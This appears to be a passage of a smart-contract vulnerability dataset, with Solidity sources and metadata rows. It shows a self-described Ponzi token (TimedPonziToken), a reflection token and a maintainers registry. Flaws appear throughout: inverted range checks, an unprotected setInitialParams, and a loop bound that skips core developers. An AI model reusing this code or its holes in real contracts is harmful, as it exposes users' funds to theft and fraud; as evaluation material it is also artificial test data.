require(value > 0xFFFFFFFF, "NextVarUint, value outside range");
return (value, offset);
} else {
// return (uint8(v), offset);
value = uint8(v);
require(value < 0xFD, "NextVarUint, value outside range");
return (value, offset);
}
}
}
| 13,323 | 204 |
e1b18d27c288c5ed7013a470a42a3b0b6e59166a213a4d9823bf0d888697ae99
| 9,917 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x52f22a6fcea6f06750e779c8556299b0df248f80.sol
| 3,396 | 9,495 |
pragma solidity ^0.4.18;
// If you wanna escape this contract REALLY FAST
// 1. open MEW/METAMASK
// 2. Put this as data: 0xb1e35242
// 3. send 150000+ gas
// That calls the getMeOutOfHere() method
// ******************************************
// ******************************************
// ******************************************
// ******************************************
// 10% fees, price goes up crazy fast
contract TimedPonziToken {
uint256 constant PRECISION = 0x10000000000000000; // 2^64
// CRR = 80 %
int constant CRRN = 1;
int constant CRRD = 2;
// The price coefficient. Chosen such that at 1 token total supply
// the reserve is 0.8 ether and price 1 ether/token.
int constant LOGC = -0x296ABF784A358468C;
string constant public name = "TimedPonziToken";
string constant public symbol = "TPT";
uint8 constant public decimals = 18;
uint256 public totalSupply;
// amount of shares for each address (scaled number)
mapping(address => uint256) public balanceOfOld;
// allowance map, see erc20
mapping(address => mapping(address => uint256)) public allowance;
// amount payed out for each address (scaled number)
mapping(address => int256) payouts;
// when the user can sell his/her tokens
mapping(address => uint256) public nextSellTime;
// sum of all payouts (scaled number)
int256 totalPayouts;
// amount earned for each share (scaled number)
uint256 earningsPerShare;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//address owner;
function TimedPonziToken() public {
//owner = msg.sender;
}
// These are functions solely created to appease the frontend
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfOld[_owner];
}
function withdraw(uint tokenCount) // the parameter is ignored, yes
public
returns (bool)
{
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
msg.sender.transfer(balance);
return true;
}
function sellMyTokensDaddy() public {
var balance = balanceOf(msg.sender);
transferTokens(msg.sender, address(this), balance); // this triggers the internal sell function
}
function getMeOutOfHere() public {
sellMyTokensDaddy();
withdraw(1); // parameter is ignored
}
function fund()
public
payable
returns (bool)
{
if (msg.value > 0.000001 ether)
buy();
else
return false;
return true;
}
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
function sellPrice() public constant returns (uint) {
return getEtherForTokens(1 finney);
}
// End of useless functions
// Invariants
// totalPayout/Supply correct:
// totalPayouts = \sum_{addr:address} payouts(addr)
// totalSupply = \sum_{addr:address} balanceOfOld(addr)
// dividends not negative:
// \forall addr:address. payouts[addr] <= earningsPerShare * balanceOfOld[addr]
// supply/reserve correlation:
// totalSupply ~= exp(LOGC + CRRN/CRRD*log(reserve())
// i.e. totalSupply = C * reserve()**CRR
// reserve equals balance minus payouts
// reserve() = this.balance - \sum_{addr:address} dividends(addr)
function transferTokens(address _from, address _to, uint256 _value) internal {
if (balanceOfOld[_from] < _value)
revert();
if(now < nextSellTime[_from])
revert();
if (_to == address(this)) {
sell(_value);
} else {
int256 payoutDiff = (int256) (earningsPerShare * _value);
balanceOfOld[_from] -= _value;
balanceOfOld[_to] += _value;
payouts[_from] -= payoutDiff;
payouts[_to] += payoutDiff;
}
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
transferTokens(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public {
var _allowance = allowance[_from][msg.sender];
if (_allowance < _value)
revert();
allowance[_from][msg.sender] = _allowance - _value;
transferTokens(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowance[msg.sender][_spender] != 0)) revert();
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerShare * balanceOfOld[_owner]) - payouts[_owner]) / PRECISION;
}
function withdrawOld(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * PRECISION);
totalPayouts += (int256) (balance * PRECISION);
to.transfer(balance);
}
function balance() internal constant returns (uint256 amount) {
return this.balance - msg.value;
}
function reserve() public constant returns (uint256 amount) {
return balance()
- ((uint256) ((int256) (earningsPerShare * totalSupply) - totalPayouts) / PRECISION) - 1;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
// 5 % of the amount is used to pay holders.
var fee = (uint)(msg.value / 10);
// compute number of bought tokens
var numEther = msg.value - fee;
var numTokens = getTokensForEther(numEther);
var buyerfee = fee * PRECISION;
if (totalSupply > 0) {
// compute how the fee distributed to previous holders and buyer.
// The buyer already gets a part of the fee as if he would buy each token separately.
var holderreward =
(PRECISION - (reserve() + numEther) * numTokens * PRECISION / (totalSupply + numTokens) / numEther)
* (uint)(CRRD) / (uint)(CRRD-CRRN);
var holderfee = fee * holderreward;
buyerfee -= holderfee;
// Fee is distributed to all existing tokens before buying
var feePerShare = holderfee / totalSupply;
earningsPerShare += feePerShare;
}
// add numTokens to total supply
totalSupply += numTokens;
// add numTokens to balance
balanceOfOld[sender] += numTokens;
// set next sell time
nextSellTime[sender] = now + 1 days;
// fix payouts so that sender doesn't get old earnings for the new tokens.
// also add its buyerfee
var payoutDiff = (int256) ((earningsPerShare * numTokens) - buyerfee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sell(uint256 amount) internal {
var numEthers = getEtherForTokens(amount);
// remove tokens
totalSupply -= amount;
balanceOfOld[msg.sender] -= amount;
// fix payouts and put the ethers in payout
var payoutDiff = (int256) (earningsPerShare * amount + (numEthers * PRECISION));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() + ethervalue)*CRRN/CRRD + LOGC) - totalSupply;
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
if (tokens == totalSupply)
return reserve();
return reserve() - fixedExp((fixedLog(totalSupply - tokens) - LOGC) * CRRD/CRRN);
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5= 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
function () payable public {
if (msg.value > 0)
buy();
else
withdrawOld(msg.sender);
}
}
| 180,684 | 205 |
212ad6ebe930a885d9e15338a20b0aed031bcbbdef7bc0cae388fe318a276873
| 25,841 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x9A205E5096e405Ad7b13566A8185FC1C911BdB44/contract.sol
| 4,445 | 16,380 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LowkeyFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 10**15 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'LowkeyFloki';
string private _symbol = 'LOKI';
uint8 private _decimals = 9;
uint private _fee = 12;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(_fee);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 249,588 | 206 |
8a412400a8fcb5b5eb414814ab3d6f529abc5a335e521e5da5fe61f99fd542d5
| 16,744 |
.sol
|
Solidity
| false |
128776516
|
2key/contracts
|
aadccf693c0f8599292bbc1eff8c417081a73e13
|
flattenedContracts/TwoKeyMaintainersRegistryAbstractFlattened.sol
| 3,313 | 13,045 |
pragma solidity ^0.4.13;
contract IStructuredStorage {
function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external;
function setProxyLogicContract(address _proxyLogicContract) external;
// *** Getter Methods ***
function getUint(bytes32 _key) external view returns(uint);
function getString(bytes32 _key) external view returns(string);
function getAddress(bytes32 _key) external view returns(address);
function getBytes(bytes32 _key) external view returns(bytes);
function getBool(bytes32 _key) external view returns(bool);
function getInt(bytes32 _key) external view returns(int);
function getBytes32(bytes32 _key) external view returns(bytes32);
// *** Getter Methods For Arrays ***
function getBytes32Array(bytes32 _key) external view returns (bytes32[]);
function getAddressArray(bytes32 _key) external view returns (address[]);
function getUintArray(bytes32 _key) external view returns (uint[]);
function getIntArray(bytes32 _key) external view returns (int[]);
function getBoolArray(bytes32 _key) external view returns (bool[]);
// *** Setter Methods ***
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setAddress(bytes32 _key, address _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// *** Setter Methods For Arrays ***
function setBytes32Array(bytes32 _key, bytes32[] _value) external;
function setAddressArray(bytes32 _key, address[] _value) external;
function setUintArray(bytes32 _key, uint[] _value) external;
function setIntArray(bytes32 _key, int[] _value) external;
function setBoolArray(bytes32 _key, bool[] _value) external;
// *** Delete Methods ***
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteAddress(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
contract ITwoKeySingletoneRegistryFetchAddress {
function getContractProxyAddress(string _contractName) public view returns (address);
function getNonUpgradableContractAddress(string contractName) public view returns (address);
function getLatestCampaignApprovedVersion(string campaignType) public view returns (string);
}
interface ITwoKeySingletonesRegistry {
event ProxyCreated(address proxy);
event VersionAdded(string version, address implementation, string contractName);
function addVersion(string _contractName, string version, address implementation) public;
function getVersion(string _contractName, string version) public view returns (address);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
require(c >= _a);
return c;
}
}
contract UpgradeabilityStorage {
// Versions registry
ITwoKeySingletonesRegistry internal registry;
// Address of the current implementation
address internal _implementation;
function implementation() public view returns (address) {
return _implementation;
}
}
contract Upgradeable is UpgradeabilityStorage {
function initialize(address sender) public payable {
require(msg.sender == address(registry));
}
}
contract TwoKeyMaintainersRegistryAbstract is Upgradeable {
string constant _isMaintainer = "isMaintainer";
string constant _isCoreDev = "isCoreDev";
string constant _idToMaintainer = "idToMaintainer";
string constant _idToCoreDev = "idToCoreDev";
string constant _numberOfMaintainers = "numberOfMaintainers";
string constant _numberOfCoreDevs = "numberOfCoreDevs";
string constant _numberOfActiveMaintainers = "numberOfActiveMaintainers";
string constant _numberOfActiveCoreDevs = "numberOfActiveCoreDevs";
//For all math operations we use safemath
using SafeMath for *;
// Flag which will make function setInitialParams callable only once
bool initialized;
address public TWO_KEY_SINGLETON_REGISTRY;
IStructuredStorage public PROXY_STORAGE_CONTRACT;
function setInitialParams(address _twoKeySingletonRegistry,
address _proxyStorage,
address [] _maintainers,
address [] _coreDevs)
public
{
require(initialized == false);
TWO_KEY_SINGLETON_REGISTRY = _twoKeySingletonRegistry;
PROXY_STORAGE_CONTRACT = IStructuredStorage(_proxyStorage);
//Deployer is also maintainer
addMaintainer(msg.sender);
//Set initial maintainers
for(uint i=0; i<_maintainers.length; i++) {
addMaintainer(_maintainers[i]);
}
//Set initial core devs
for(uint j=0; j<_coreDevs.length; j++) {
addCoreDev(_coreDevs[j]);
}
//Once this executes, this function will not be possible to call again.
initialized = true;
}
function checkIsAddressMaintainer(address _sender) public view returns (bool) {
return isMaintainer(_sender);
}
function checkIsAddressCoreDev(address _sender) public view returns (bool) {
return isCoreDev(_sender);
}
function getAllMaintainers()
public
view
returns (address[])
{
uint numberOfMaintainersTotal = getNumberOfMaintainers();
uint numberOfActiveMaintainers = getNumberOfActiveMaintainers();
address [] memory activeMaintainers = new address[](numberOfActiveMaintainers);
uint counter = 0;
for(uint i=0; i<numberOfMaintainersTotal; i++) {
address maintainer = getMaintainerPerId(i);
if(isMaintainer(maintainer)) {
activeMaintainers[counter] = maintainer;
counter = counter.add(1);
}
}
return activeMaintainers;
}
function getAllCoreDevs()
public
view
returns (address[])
{
uint numberOfCoreDevsTotal = getNumberOfCoreDevs();
uint numberOfActiveCoreDevs = getNumberOfActiveCoreDevs();
address [] memory activeCoreDevs = new address[](numberOfActiveCoreDevs);
uint counter = 0;
for(uint i=0; i<numberOfActiveCoreDevs; i++) {
address coreDev= getCoreDevPerId(i);
if(isCoreDev(coreDev)) {
activeCoreDevs[counter] = coreDev;
counter = counter.add(1);
}
}
return activeCoreDevs;
}
function isMaintainer(address _address)
internal
view
returns (bool)
{
bytes32 keyHash = keccak256(_isMaintainer, _address);
return PROXY_STORAGE_CONTRACT.getBool(keyHash);
}
function isCoreDev(address _address)
internal
view
returns (bool)
{
bytes32 keyHash = keccak256(_isCoreDev, _address);
return PROXY_STORAGE_CONTRACT.getBool(keyHash);
}
function addMaintainer(address _maintainer)
internal
{
bytes32 keyHashIsMaintainer = keccak256(_isMaintainer, _maintainer);
// Fetch the id for the new maintainer
uint id = getNumberOfMaintainers();
// Generate keyHash for this maintainer
bytes32 keyHashIdToMaintainer = keccak256(_idToMaintainer, id);
// Representing number of different maintainers
incrementNumberOfMaintainers();
// Representing number of currently active maintainers
incrementNumberOfActiveMaintainers();
PROXY_STORAGE_CONTRACT.setAddress(keyHashIdToMaintainer, _maintainer);
PROXY_STORAGE_CONTRACT.setBool(keyHashIsMaintainer, true);
}
function addCoreDev(address _coreDev)
internal
{
bytes32 keyHashIsCoreDev = keccak256(_isCoreDev, _coreDev);
// Fetch the id for the new core dev
uint id = getNumberOfCoreDevs();
// Generate keyHash for this core dev
bytes32 keyHashIdToCoreDev= keccak256(_idToCoreDev, id);
// Representing number of different core devs
incrementNumberOfCoreDevs();
// Representing number of currently active core devs
incrementNumberOfActiveCoreDevs();
PROXY_STORAGE_CONTRACT.setAddress(keyHashIdToCoreDev, _coreDev);
PROXY_STORAGE_CONTRACT.setBool(keyHashIsCoreDev, true);
}
function removeMaintainer(address _maintainer)
internal
{
bytes32 keyHashIsMaintainer = keccak256(_isMaintainer, _maintainer);
decrementNumberOfActiveMaintainers();
PROXY_STORAGE_CONTRACT.setBool(keyHashIsMaintainer, false);
}
function removeCoreDev(address _coreDev)
internal
{
bytes32 keyHashIsCoreDev = keccak256(_isCoreDev , _coreDev);
decrementNumberOfActiveCoreDevs();
PROXY_STORAGE_CONTRACT.setBool(keyHashIsCoreDev, false);
}
function getNumberOfMaintainers()
public
view
returns (uint)
{
return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfMaintainers));
}
function getNumberOfCoreDevs()
public
view
returns (uint)
{
return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfCoreDevs));
}
function getNumberOfActiveMaintainers()
public
view
returns (uint)
{
return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfActiveMaintainers));
}
function getNumberOfActiveCoreDevs()
public
view
returns (uint)
{
return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfActiveCoreDevs));
}
function incrementNumberOfMaintainers()
internal
{
bytes32 keyHashNumberOfMaintainers = keccak256(_numberOfMaintainers);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberOfMaintainers,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfMaintainers).add(1));
}
function incrementNumberOfCoreDevs()
internal
{
bytes32 keyHashNumberOfCoreDevs = keccak256(_numberOfCoreDevs);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberOfCoreDevs,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfCoreDevs).add(1));
}
function incrementNumberOfActiveMaintainers()
